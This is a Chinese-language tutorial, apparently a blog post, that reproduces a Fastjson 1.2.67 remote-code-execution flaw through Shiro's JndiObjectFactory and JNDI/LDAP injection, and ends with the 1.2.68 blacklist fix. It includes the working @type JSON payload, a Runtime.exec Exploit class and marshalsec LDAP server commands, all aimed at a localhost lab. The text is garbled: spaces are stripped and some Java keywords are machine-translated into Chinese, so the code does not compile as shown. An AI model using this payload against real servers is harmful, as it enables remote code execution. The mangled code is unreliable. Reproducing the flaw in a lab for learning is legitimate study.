目前网上的资源整理不适合初学者,需要一定的java漏洞调试基础。本文从一个简单的FastJson漏洞入手,搭建漏洞环境,分析漏洞产生的原因、使用条件等,从初学者的角度理解和复现漏洞触发,拥有自己的一套漏洞调试环境。0x01Fastjson简介Fastjson是阿里巴巴开源的JSON解析库,可以解析JSON格式的字符串,支持JavaBeans序列化为JSON字符串,以及JSON字符串反序列化为JavaBeans。https://github.com/alibaba/fa...0x02环境搭建JDK版本:8u112fastjson:1.2.67shiro:1.5.1slf4j-nop:1.7.250x1添加依赖包为了快速添加项目需要的jar包,创建Maven项目如下1_copy.jpgpom.xml4.0.0groupIdFastjson1.2.66_RCE1.0-SNAPSHOTcom.alibabafastjson1.2.67org.apache.shiroshiro-core<版本>1.5.1org.slf4jslf4j-simple1.7.25test<依赖项>org.slf4jslf4j-nop1.7.25UTF-8UTF-81.81.81.8右击pom.xml点击下载source和document2_copy.png0x2选择JDK版本漏洞的选择JDK8u1123_copy.jpg0x3编写漏洞代码在主文件夹添加漏洞代码,核心是调用fastjson.JSON的parseObject函数4_copy.pngimportcom.alibaba.fastjson.JSON;导入com.alibaba.fastjson.parser.ParserConfig;公共类测试{publicstaticvoidmain(String[]args){System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");ParserConfig.getGlobalInstance().setAutoTypeSupport(true);Stringpayload="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:1389/Exploit\"}";尝试{JSON.parseObject(payload);}catch(Exceptione){e.printStackTrace();}}}0x03漏洞原理0x1FastJson类解析Fastjson接口简单易用,广泛应用于缓存序列化、协议交互、Web输出,Android客户端提供JsonString和parseObject两个主要接口实现序列化和反序列化FastJson中分别使用parse()和parseObject()方法将JSON字符串反序列化为Java对象,而parseObject()本质上是调用parse()进行反序列化。但是parseObject()会额外将Java对象转为JSONObject对象,即JSON.toJSON()。所以在反序列化的时候细节上的区别是parse()会识别并调用目标类的setter方法和一些特定条件的getter方法,而parseObject()更多的是执行JSON.toJSON(obj),所以在处理所有setter的时候过程中会调用反序列化目标类的getter方法。fastjson.javapackagecom.teddy.fastjson;导入com.alibaba.fastjson.JSON;导入java.io.IOException;公共类fastjson{publicStringname;publicStringage;publicfastjson()throwsIOException{}publicvoidsetName(Stringtest){System.out.println("namesettercalled");this.name=test;}publicStringgetName(){System.out.println("namegettercalled");returnthis.name;}publicvoidsetAge(Stringtest){System.out.println("agesettercalled");this.age=test;}publicStringgetAge(){System.out.println("agegettercalled");returnthis.age;}publicstaticvoidmain(String[]args){Objectobj=JSON.parse("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"考试姓名\"??,\"年龄\":\"考试年龄\"}");System.out.println(obj);System.out.println("------------");Objectobj2=JSON.parseObject("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"测试名称\",\"age\":\"测试年龄\”}”);系统.out.println(obj2);}}resultnamesettercalledagesettercalledcom.teddy.fastjson.fastjson@66480dd7namesettercalledagesettercallednamegettercalled{"name":"thisisname","age":"thisisage"}从结果可以看出调用parseObject函数会调用getattr方法0x2漏洞调用链分析调用栈分析5_copy.pngparseObject对象类型转换这一步的操作是将obj对应的对象类型转换为json格式,绑定使用getattr对象方法触发漏洞。6_copy.png通过invoke方法反射调用,调用getinstance方法7_copy.jpg触发ldap在JndiObjectFactory中调用this.lookup(resourceName)getinstance8_copy.jpg0x3JNDI注入JavaNameDirectoryInterface,Java命名和目录接口(JNDI)是一个JavaAPI,类似于索引中心,它允许客户端通过名称发现和查找数据和对象。JNDI包括NamingService和DirectoryService,通过名称来查找数据和对象的API,也称为绑定。JNDI可以访问的现有目录和服务包括:JDBC、LDAP、RMI、DNS、NIS和CORBA。9_Copy.png应用场景包括:动态加载数据库配置文件,从而保持数据库代码不变等注入方式:JNDIReferencewithRMIJNDIReferencewithLDAPRMIformat:ctx.lookup("rmi://localhost:9999/参考对象");LDAP格式ctx.lookup("ldap://localhost:9999/refObj");如果lookup函数中的参数是攻击者可控的,那么就可以指向攻击者的服务器,可以实现JNDI注入,实现任意代码执行。1RMIRMI(RemoteMethodInvocation,远程方法调用)。远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有CORBA、WebService等(这两种是独立于编程语言的)。RMI是专门为JAVA设计的,依赖于JRMP通信协议。2LDAPLDAP(LightweightDirectoryAccessProtocol,轻量级目录访问协议)是一种运行在TCP/IP栈之上的目录服务协议。目录服务是一种特殊的数据库,用于存储描述性的、基于属性的详细信息,这些信息可以查询、浏览和搜索,并以树状结构组织。LDAP是以树形结构标记的,所以不能像表一样用SQL语句查询。它的“读”性能强,但“写”性能差,不具备事务处理、回滚等复杂功能,不适合存储频繁修改的数据。LDAP目录和RMI注册表之间的区别在于前者是目录服务并允许分配存储对象的属性。该漏洞只是利用org.apache.shiro包中的jndi函数访问自己构建的ldap服务,获取并执行自己编译的Exploit.class文件。0x04漏洞利用0x1编译Java利代码standard.PrinterMessageFromOperator;publicclassExecTest{publicExecTest()throwsIOException,InterruptedException{Stringcmd="/Applications/Calculator.app/Contents/MacOS/Calculator";finalProcessprocess=Runtime.getRuntime().exec(cmd);printMessage(process.getInputStream());;printMessage(process.getErrorStream());intvalue=process.waitFor();System.out.println(value);}privatestaticvoidprintMessage(finalInputStreaminput){//TODO自动生成方法存根newThread(newRunnable(){@Overridepublicvoidrun(){//TODO自动生成方法存根Readerreader=newInputStreamReader(input);BufferedReaderbf=newBufferedReader(reader);Stringline=null;尝试{while((line=bf.readLine())!=null){System.out.println(line);}}catch(IOExceptione){e.printStackTrace();}}})。开始();}}命令行编译class文件/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/bin/javacExploit.java0x2启动LDAP服务使用marshalsec启动一个ladpserver,下载地址为https://github.com/mbechler/m...java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServerhttp://127.0.0.1:8089/#Exploit0_copy.jpg0x3打开HTTPWeb服务会编译好的把web目录下的exploit.class并启动服务11_copy.jpg0x05漏洞补丁这个链接整理了fastjsonhash对应的jar,可以轻松找到过滤后的jar包https://github.com/LeadroyaL/...12_copy.jpg此漏洞由黑名单修复。在1.2.68中,org.apache.shiro.jndi被禁用。13_copy.jpg对应的具体代码如下图所示。Class>checkAutoType(StringtypeName,Class>expectClass,intfeatures)函数有相应的处理14_copy.jpg黑名单哈希生成算法,大致思路是对每一位进行XOR异或叠加if((!internalWhite)&&(autoTypeSupport||expectClassFlag)){longhash=h3;for(inti=3;i=0){clazz=TypeUtils.loadClass(typeName,defaultClassLoader,true);if(clazz!=null){返回clazz;}}if(Arrays.binarySearch(denyHashCodes,hash)>=0&&TypeUtils.getClassFromMapping(typeName)==null){if(Arrays.binarySearch(acceptHashCodes,fullHash)>=0){继续;}thrownewJSONException("autoType不支持。"+typeName);}}}0x06参考链接相关实践推荐--Java反序串漏洞